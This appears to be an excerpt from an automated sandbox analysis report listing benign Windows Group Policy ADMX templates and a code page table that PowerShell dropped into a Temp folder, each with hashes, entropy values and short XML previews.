Preview:	#..# Name: cp1258 to Unicode table..# Unicode version: 2.0..# Table version: 2.01..# Table format: Format A..# Date: 04/15/98..#..# Contact: cpxlate@microsoft.com..#..# General notes: none..#..# Format: Three tab-separated columns..# Column #1 is the cp1258 code (in hex)..# Column #2 is the Unicode (in hex as 0xXXXX)..# Column #3 is the Unicode name (follows a comment sign, '#')..#..# The entries are in cp1258 order..#..0x00.0x0000.#NULL..0x01.0x0001.#START OF HEADING..0x02.0x0002.#START OF TEXT..0x03.0x0003.#END OF TEXT..0x04.0x0004.#END OF TRANSMISSION..0x05.0x0005.#ENQUIRY..0x06.0x0006.#ACKNOWLEDGE..0x07.0x0007.#BELL..0x08.0x0008.#BACKSPACE..0x09.0x0009.#HORIZONTAL TABULATION..0x0A.0x000A.#LINE FEED..0x0B.0x000B.#VERTICAL TABULATION..0x0C.0x000C.#FORM FEED..0x0D.0x000D.#CARRIAGE RETURN..0x0E.0x000E.#SHIFT OUT..0x0F.0x000F.#SHIFT IN..0x10.0x0010.#DATA LINK ESCAPE..0x11.0x0011.#DEVICE CONTROL ONE..0x12.0x0012.#DEVICE

C:\Users\user\AppData\Local\Temp\file\Resource\UserProfiles.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	20787
Entropy (8bit):	4.883986206781363
Encrypted:	false
SSDEEP:	384:tV6kzgJGj0plCLLdCrqE0lHzP5ySGoNj8rWSexES3Yt3RpKs5GhuTozj6zRJ5yjN:FxkCkOTc3e43eaSoFjKuGpzAX5GGC
MD5:	7810DB16193354ED211A8B4F37DBC253
SHA1:	49C4428EAB13696D9CF5E55CFC5F8BA9AD44022C
SHA-256:	0A2A59A099F8D9BD85A4B0DFAD4DE24B065B75831EA44C788A636D56A38D3140
SHA-512:	BC13F9AD2A9F86BFDD936793083CD965067C634446B614DFBD6F19317EB78559555B2F03E898D0811E1B9CFDC02BE0B911389D7E5B358604A14495D95E6F939E
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="userprofiles" namespace="Microsoft.Policies.UserProfiles" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="UserProfiles" displayName="$(string.UserProfiles)">.. <parentCategory ref="windows:System" />.. </category>.. </categories>.. <policies>.. <policy name="AddAdminGroupToRUP" class="Machine" displayName="$(string.AddAdminGroupToRUP)" explainText="$(string.AddAdminGroupToRUP_Help)" key="Software\Policies\Microsoft\Windows\System" valueName="AddAdminGroupToRUP">.. <parentCategory ref="UserP

C:\Users\user\AppData\Local\Temp\file\Resource\VolumeEncryption.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (344), with CRLF line terminators
Category:	dropped
Size (bytes):	68191
Entropy (8bit):	4.670154947376811
Encrypted:	false
SSDEEP:	1536:kAArg6xjsLJAqOYHmW3EsAMrM+6I6Q6wLe8sHJS3WXZkKuogpyspRjMRyf8E2mII:t
MD5:	B8175493A3CB8B98E684EE12187FC95E
SHA1:	3692021A5A6315C1341CE35F79AA83FCF12DE83A
SHA-256:	9C6CD0192F9A0548F287C5126A9E14254680762883F3379AD3B3DAE0BE9F2F20
SHA-512:	C8D82F20E51A1A32905CBCC29676E884FB6C8C8B8EBA467C939277696C2A3657A9888FEB7A966B83786A5167CD9649F0C478206DFC39D9F495ECB36141543AB3
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="volumeencryption" namespace="Microsoft.Policies.VolumeEncryption" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. <using prefix="products" namespace="Microsoft.Policies.Products" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <supportedOn> .. <definitions>.. We must make our own definition for Windows 8 without ARM --> .. <definition name="SUPPORTED_Windows8NoARM" displayName="$(string.SUPPORTED_Windows8NoARM)" /> .. </definitions>.. </supportedOn>.. <categories>.. <category name="FVECategory" displayName="$(string.FVECategory)">.. <parentCategor

C:\Users\user\AppData\Local\Temp\file\Resource\W32Time.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (321), with CRLF line terminators
Category:	dropped
Size (bytes):	6409
Entropy (8bit):	5.302899712572134
Encrypted:	false
SSDEEP:	192:vYF7mWaojHQYVa6XWNrqbrDUg2mqmN6alC9OYj8G2TaVMifqsDwHK:TWaojHQYVa6XWNrqbrDUg2mqmN6alC99
MD5:	7ECDBA364A8093EE02E7CB165EFD27DD
SHA1:	7958BA94874CF4CEE99AD4C20F2D6606724F234B
SHA-256:	745051305576733D977947CC7C8A4C84572C52F74C299251076D3DB7E43070B0
SHA-512:	DE1A7D790F853E9838C64B976885623F4A2EB2DC948B6B83FD9D684C04FFCF2369D45AFA9B2AD33EF024DBC2AFBCFCEA4E5E6EB2E33D6CD4B10ADE06695208C8
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="w32time" namespace="Microsoft.Policies.WindowsTimeService" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="W32TIME_ROOT" displayName="$(string.W32TIME_ROOT)">.. <parentCategory ref="windows:System" />.. </category>.. <category name="W32TIME_TIMEPROVIDERS" displayName="$(string.W32TIME_TIMEPROVIDERS)">.. <parentCategory ref="W32TIME_ROOT" />.. </category>.. </categories>.. <policies>.. <policy name="W32TIME_POLICY_CONFIG" class="Machine" displayName="$(string.W32TIME_POLICY_CONFIG)" ex

C:\Users\user\AppData\Local\Temp\file\Resource\WCM.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	2877
Entropy (8bit):	5.154289296119633
Encrypted:	false
SSDEEP:	48:3geDw08gmDovfmofHKnKsp503NvzG8vGdUg/vzGaMxvGde4KnyvzGEvGdWRvzG6V:QeD/mDov+ovKnK856vqRdUsvqaMgdRvz
MD5:	880DA0D4CF2D870EBB7FA0ACAEEC4498
SHA1:	6E28DB0D1A3BD7A17AAD438A76BB9F2D3E52736C
SHA-256:	A0DC3469A44A6B36022EF1636AE7790FBD841682937F88BA1371BF7DD93EA7D6
SHA-512:	E67E8DFBED3C3D389EBABD6D1023E36EFC247C316320C0EB17506ABB75059BE709B0EFC1B520F8C224317B804DC565FC1CC550E3C175B4B61B1EDBFBD43A3559
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="windowsconnectionmanager" namespace="Microsoft.Policies.WindowsConnectionManager" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="WCM_Category" displayName="$(string.WCM_Category)">.. <parentCategory ref="windows:Network" />.. </category>.. </categories>.. <policies>.. <policy name="WCM_BlockNonDomain" class="Machine" displayName="$(string.WCM_BlockNonDomain)" explainText="$(string.WCM_BlockNonDomain_Help)" key="Software\Policies\Microsoft\Windows\WcmSvc\GroupPolicy" valueName="fBlockNonDomain">

C:\Users\user\AppData\Local\Temp\file\Resource\WDI.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (342), with CRLF line terminators
Category:	dropped
Size (bytes):	2512
Entropy (8bit):	5.03586268427652
Encrypted:	false
SSDEEP:	48:3geDw08gmDCfzofT5p/QJIhGwfl1TNQ4qIhGwsWsC:QeD/mDCLo75JQWGwfl1xQ4zGwsTC
MD5:	DE481E506E591FA0AEC317678434E2BE
SHA1:	63C87F9B933610838C53A08E46C015B518F3C137
SHA-256:	490D113B0AF43D6748A247442C43160ED3E5737F970B983C488CA2F65B0D9239
SHA-512:	82A5DF9E0776E717806999F7A233DE5A7B96815BBB63EDCA57FD263006864365A2848950C1C8EB41F728EE9B276F35B6F8AFCFF7895008B5AB6D555DB57144FF
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="wdi" namespace="Microsoft.Policies.WindowsDiagnostics" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <policies>.. <policy name="WdiDpsScenarioDataSizeLimitPolicy" class="Machine" displayName="$(string.WdiDpsScenarioDataSizeLimitPolicy)" explainText="$(string.WdiDpsScenarioDataSizeLimitPolicyExplain)" presentation="$(presentation.WdiDpsScenarioDataSizeLimitPolicy)" key="SOFTWARE\Policies\Microsoft\Windows\WDI" valueName="DataRetentionBySizeEnabled">.. <parentCategory ref="windows:Troubleshooting" />.. <supportedOn ref="windows:

C:\Users\user\AppData\Local\Temp\file\Resource\WPN.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (308), with CRLF line terminators
Category:	dropped
Size (bytes):	5219
Entropy (8bit):	5.113708334053105
Encrypted:	false
SSDEEP:	96:QeD/mDti+zkovKnK/l5mwxs6SjWxnaSeix5aSh6xJaSDLM3tCxLCXwVDiq1LCXwE:vYDoYUMsqG+nWKmV2wh2XZ
MD5:	09890D13C5B667C093598434E17A541B
SHA1:	390FACEAC52613DACA7E948368EBD6E4773415F5
SHA-256:	13BC88E5DB04BC1EA55AD0AC56F927D70AC643C03DBF20BD6929AC623CFFC8D4
SHA-512:	3D66C2B7CC5D5F44A5A87B86BC1B43BC6AB381C5F9C916B7BD21D476124E828B7AA0A73E1AD868FE32A8DD2F97509A13F2C43BBE5142A4A7B42B5DBBBCFA1CE1
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="startmenu" namespace="Microsoft.Policies.Notifications" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="NotificationsCategory" displayName="$(string.NotificationsCategory)">.. <parentCategory ref="windows:StartMenu" />.. </category>.. </categories>.. <policies>.. <policy name="NoTileNotification" class="User" displayName="$(string.NoTileNotification)" explainText="$(string.NoTileNotificationExplain)" key="SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\PushNotifications" valueName="NoTileApp

C:\Users\user\AppData\Local\Temp\file\Resource\WinCal.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1768
Entropy (8bit):	5.1307703578441695
Encrypted:	false
SSDEEP:	48:cgeDw08gmDoRfBofHKnKsQ5pdMko2K/dD4dMko2K/q:LeD/mDoRJovKnKZ5pGkUdMGkUq
MD5:	BEDE56A7AEF6B3DB49AB7D2EB3F2870A
SHA1:	BC18289B953A8AC6C0C8E519F72E6ADEE933FF98
SHA-256:	1FC29FC668043AA03FFEB2D61868D3369479C3CEF2C4725D162CF5344DCBDCFA
SHA-512:	2BDE0A5F1983B08379C262F86AADF8635834674981FAF7FEB3EBC39B12ECE95B21203BE82FDE2FE88F6A662836374A7AC3D6FB8057D5273923259B3AF206A3A6
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="wincal" namespace="Microsoft.Policies.WindowsCalendar" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="WinCal" displayName="$(string.WinCal)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="TurnOffWinCal_1" class="User" displayName="$(string.TurnOffWinCal)" explainText="$(string.TurnOffWinCal_Explain)" key="Software\Microsoft\Windows\CurrentVersion\Policies\Windows" valueName="TurnOffWinCal">.. <parentCategory ref="WinCal" />..

C:\Users\user\AppData\Local\Temp\file\Resource\WinInit.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (339), with CRLF line terminators
Category:	dropped
Size (bytes):	2591
Entropy (8bit):	5.095001702303473
Encrypted:	false
SSDEEP:	48:3geDw08gmDodfwQofHKnKizGKi125HZvaZPhdspZ3OPpwocK1WvCUnDBWS:QeD/mDodvovKnKi6KiQ5HtafdspR+woO
MD5:	1D97313108DC72A1415AB76CDCE3AAAD
SHA1:	FDA86FCDDF823ED8AB0FD2F303D60C0850A6728C
SHA-256:	7BC345911D1659CFC881FE888FF2F58EF3E267832BE5000C8F092AEA5046FF4D
SHA-512:	84E1F511A93C3951B144035D09FC50A162B38F2D79FAECD93509DD1B5ABB7FD6A9330D9AD0AFADDA972163AB89603C41A1F50664AD409D4DAA340FFC2BBC625E
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="wininit" namespace="Microsoft.Policies.WindowsInitialization" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="Shutdown" displayName="$(string.ShutdownOptions)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. <category name="ShutdownOptions" displayName="$(string.Shutdown)">.. <parentCategory ref="windows:System" />.. </category>.. </categories>.. <policies>.. <policy name="DisableNamedPipeShutdownPolicyDescription" class="Machine" displayName="$(string.DisableN

C:\Users\user\AppData\Local\Temp\file\Resource\WinLogon.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (311), with CRLF line terminators
Category:	dropped
Size (bytes):	5790
Entropy (8bit):	4.972348591405385
Encrypted:	false
SSDEEP:	96:QeD/mDoANCovKnKt5jFaKdwAgHgavNdwJgETHFw9Vg2pHoqOpFwp3eqHjarCwHwS:vYoAkw9UUqwivItgpuq28cw65
MD5:	940072E0DE8621F5AB0028A96309221E
SHA1:	D7B95EB8FD29F706A7A0629C5D58685C58FB981F
SHA-256:	89363A97169D216413272E73FD460F4F08F1781C25FB7024EDBE490A59956E82
SHA-512:	515E27891834CBB7D573CEAA5676AB1D0A712A6E8307C7B1F82D413668270421BD13FE63FAD4234415EBF40F10344BD4A94839A60C289980514E30891219BAEB
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="winlogon" namespace="Microsoft.Policies.WindowsLogon2" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="Logon" displayName="$(string.Logon)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="DisplayLastLogonInfoDescription" class="Machine" displayName="$(string.DisplayLastLogonInfoDescription)" explainText="$(string.DisplayLastLogonInfoDescription_Help)" key="Software\Microsoft\Windows\CurrentVersion\Policies\System" valueName="Displa

C:\Users\user\AppData\Local\Temp\file\Resource\Windows.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	17368
Entropy (8bit):	5.029290291714498
Encrypted:	false
SSDEEP:	96:QeDWDoojTH30ep5zbRbWwYmPP7x57GU5hqgCOgIlXe7Gsb3GX5hq/lNalqJhf0nx:YoC39p5pO7G2lZEvjratn2
MD5:	CB213251D2F35503BDDE79039419FE5A
SHA1:	0CB8F2E149394B1D1010A108118E890DC8862E15
SHA-256:	5027AFB2C844CA5FDD6345CCB480755393872394ED5120515C457478F1EDE384
SHA-512:	E34955E9D37A72676B4F467BB8D538CC3F877607C72865A4E76AF97A49FEB5E23666A7400DCDB1DAD66DB55D1286BE27E19F7F2BCE596E18D1DA2DB7B38BB128
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. revision="1.1" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="windows" namespace="Microsoft.Policies.Windows" />.. <using prefix="products" namespace="Microsoft.Policies.Products" />.. </policyNamespaces>.. <supersededAdm fileName="system.adm" />.. <resources minRequiredRevision="1.0" />.. <supportedOn>.. <definitions>.. Windows 2000 or later, running IIS. Not supported on Windows Server 2003-->.. <definition name="SUPPORTED_AllowWebPrinting" displayName="$(string.SUPPORTED_AllowWebPrinting)">.. <or>.. .. ASSUMPTION: The "running IIS" part of this tag from system.adm cannot really be translated into.. anything

C:\Users\user\AppData\Local\Temp\file\Resource\WindowsAnytimeUpgrade.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1265
Entropy (8bit):	5.2218892146192175
Encrypted:	false
SSDEEP:	24:JdgeDwjo8gWt4+3FpKt36f/BC0s6fE3+dK9lK69cpKjcpKmwV13Oy1+2hJJo:3geDw08gmDff5CofHKnKoQ50bOyBq
MD5:	9708FB07EEE61927D7EAF4974B77442F
SHA1:	45F1D5333D2426EB0CB3060B1D6640E0B5BE55CC
SHA-256:	FCB3C711AF36DA76A9FE14271C0F1C74A742E9DBD212F3422AA8306D2607AF4D
SHA-512:	813034E70790A54B4BB1CAF5EA9FFDACC1E25E073AA61757BB01BBCDAB7308B2EC9D584DFFB39D6A26B190BA846E8A7EB3D8621D35E84DD72425F4CB4C0250A1
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="WAU" namespace="Microsoft.Policies.Explorer.WAU" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="WAU" displayName="$(string.WAU)" explainText="$(string.WAU_Help)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="Disabled" class="Both" displayName="$(string.DisableWAU)" explainText="$(string.DisableWAU_Help)" key="Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\WAU" valueName="Disabled">.. <parentCategory ref="WAU" /

C:\Users\user\AppData\Local\Temp\file\Resource\WindowsBackup.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (308), with CRLF line terminators
Category:	dropped
Size (bytes):	3791
Entropy (8bit):	5.1335381706132655
Encrypted:	false
SSDEEP:	96:QeDIDoWfILoG5/KnKxKCC5JDzt2d4DzR2djDz+2dFDzU2dFDzq2q:6obTCzX+j9i
MD5:	91D15F3A3FE1E068689FF69A1AAC4286
SHA1:	F6A82D7FB906E2E99AE82E6A084DDF871F7D619F
SHA-256:	6A00E232AE6537F0FF03303F17EF05624CA6F6D712D880E5E4896F21B38225E3
SHA-512:	451E6ECDC214883F2154F2B2A55267992E137343331E802D5D9B8F27FD90F05095C1D4E4082BAB7E6CAE10514C358A9ABD81910EBDE8C95C5FDEC8D477F25120
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="windowsbackup" namespace="Microsoft.Policies.WindowsBackup" />.. <using prefix="backup" namespace="Microsoft.Policies.Backup" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. <using prefix="server" namespace="Microsoft.Policies.Server" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="Backup" displayName="$(string.Backup)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. <category name="BackupServer" displayName="$(string.BackupServer)">.. <parentCategory ref="backup:Backup" />.. </category>.. </categories>

C:\Users\user\AppData\Local\Temp\file\Resource\WindowsColorSystem.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (301), with CRLF line terminators
Category:	dropped
Size (bytes):	2024
Entropy (8bit):	5.1365975105304695
Encrypted:	false
SSDEEP:	48:3geDw08gmDoOfhofHKnKGQ56raghdtmEraghq:QeD/mDoOpovKnKf56rxdtBrxq
MD5:	0C53DE578479D32A2DDC7E71675E5100
SHA1:	62FEDE558C13FFA36DEA3980CD033DE7C942E0B1
SHA-256:	8A0722689330B236CEA9B110069EFD1801DC601BD563BF907A4C9198D47D2EB2
SHA-512:	B17692B58D1A6B8AAF0B66DA8FACCDA201FB908C95ADAF7DB3819D08F797CD4F8E5CC87C73198E3B6B235D828AF63236A9AB118237C594DCF5B33AA180799D7C
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="windowscolorsystem" namespace="Microsoft.Policies.WindowsColorSystem" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="WindowsColorSystem" displayName="$(string.WindowsColorSystem)" explainText="$(string.WindowsColorSystem_Help)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="ProhibitChangingInstalledProfileList_1" class="User" displayName="$(string.ProhibitChangingInstalledProfileList)" explainText="$(string.ProhibitChangingInstal

C:\Users\user\AppData\Local\Temp\file\Resource\WindowsConnectNow.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	4085
Entropy (8bit):	4.927626949665861
Encrypted:	false
SSDEEP:	96:QeD/mDoKlovKnKE5Vovd8ovdwct+GwpK+j1G+Gj+7Q+ElpaQ7C:vYoAZMT1yp5ZtGC7zElpX7C
MD5:	C6546D47AD8528615DD27200E4ECA504
SHA1:	E838A1C50FD5CD9F9D052957FF0E43D12DC7C687
SHA-256:	EAB71398179A95D88C8CE78BA6A0DB50D103991EEF21C299DC654E078DB1CA09
SHA-512:	4D4FC7EEF11317AE5E5E79FDBF957AB8B7828216335B12A1CAB9C15165462E3FC0FF05F1C8B5568FB5736B65FB2452F349DE47D2BFBF34C3E2C1E02913F8EE67
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="windowsconnectnow" namespace="Microsoft.Policies.WindowsConnectNow" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="WCN_Category" displayName="$(string.WCN_Category)">.. <parentCategory ref="windows:Network" />.. </category>.. </categories>.. <policies>.. <policy name="WCN_DisableWcnUi_1" class="User" displayName="$(string.WCN_DisableWcnUi)" explainText="$(string.WCN_DisableWcnUi_Help)" key="Software\Policies\Microsoft\Windows\WCN\UI" valueName="DisableWcnUi">.. <parentCategory ref="WCN_Cat

C:\Users\user\AppData\Local\Temp\file\Resource\WindowsDefender.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (548), with CRLF line terminators
Category:	dropped
Size (bytes):	73944
Entropy (8bit):	4.797360535842272
Encrypted:	false
SSDEEP:	1536:FyNOZn/Fu7YM0jMaKLB+wdkw92JV80oNVHjt95cF600a0Q0q815OV2FBjIKZUGHS:DM0jp
MD5:	BAD0E923C3C26AC57DAF18084532A219
SHA1:	EBC832535EEA6EE1FF57CFB646FE71FEADA43C9F
SHA-256:	5E7FA17AF12F5ACD1F854B9CBD014FFBA5548538101F457581F57DE525FD1D8F
SHA-512:	2D5AEE07E47651D878E15D814600D68EAB87FA2008C9E5F812ED9F17F3A720E5B030E0A8C89F05B9BAE8F66AD260BFF143B1DDBE64F2EF601EDA26670D1934A8
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2013 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="windef" namespace="Microsoft.Policies.WindowsDefender" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="AntiSpyware" displayName="$(string.AntiSpyware)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. <category name="Exclusions" displayName="$(string.Exclusions)">.. <parentCategory ref="AntiSpyware" />.. </category>.. <category name="NetworkRealtimeInspection" displayName="$(string.NetworkRealtimeInspection)">..

C:\Users\user\AppData\Local\Temp\file\Resource\WindowsExplorer.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (342), with CRLF line terminators
Category:	dropped
Size (bytes):	42416
Entropy (8bit):	5.0503721529761485
Encrypted:	false
